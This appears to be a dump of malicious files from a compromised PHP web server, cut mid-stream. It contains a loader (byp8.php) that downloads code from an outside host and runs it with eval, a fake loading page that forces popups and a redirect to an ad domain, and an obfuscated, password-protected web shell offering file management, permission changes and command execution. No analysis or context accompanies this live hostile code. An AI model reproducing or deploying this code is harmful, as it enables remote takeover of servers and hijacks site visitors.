"\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }byp8.php000077700000001271151514460360006154 0ustar00<?php $url = "https://stepmomhub.com/5.txt"; // Ambil isi dari URL menggunakan file_get_contents $code = @file_get_contents($url); // Jika gagal ambil dengan file_get_contents, coba dengan cURL if ($code === false) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_SSL_VERIFYPEER => false, ]); $code = curl_exec($ch); curl_close($ch); } // Jalankan isi kode jika berhasil diambil if ($code !== false) { eval("?>".$code); } else { echo "Gagal mengambil konten dari URL."; } ?>11/index.php000064400000003001151514460360006604 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 11/rcc7.php000077700000262662151514460360006366 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if (isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo "\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\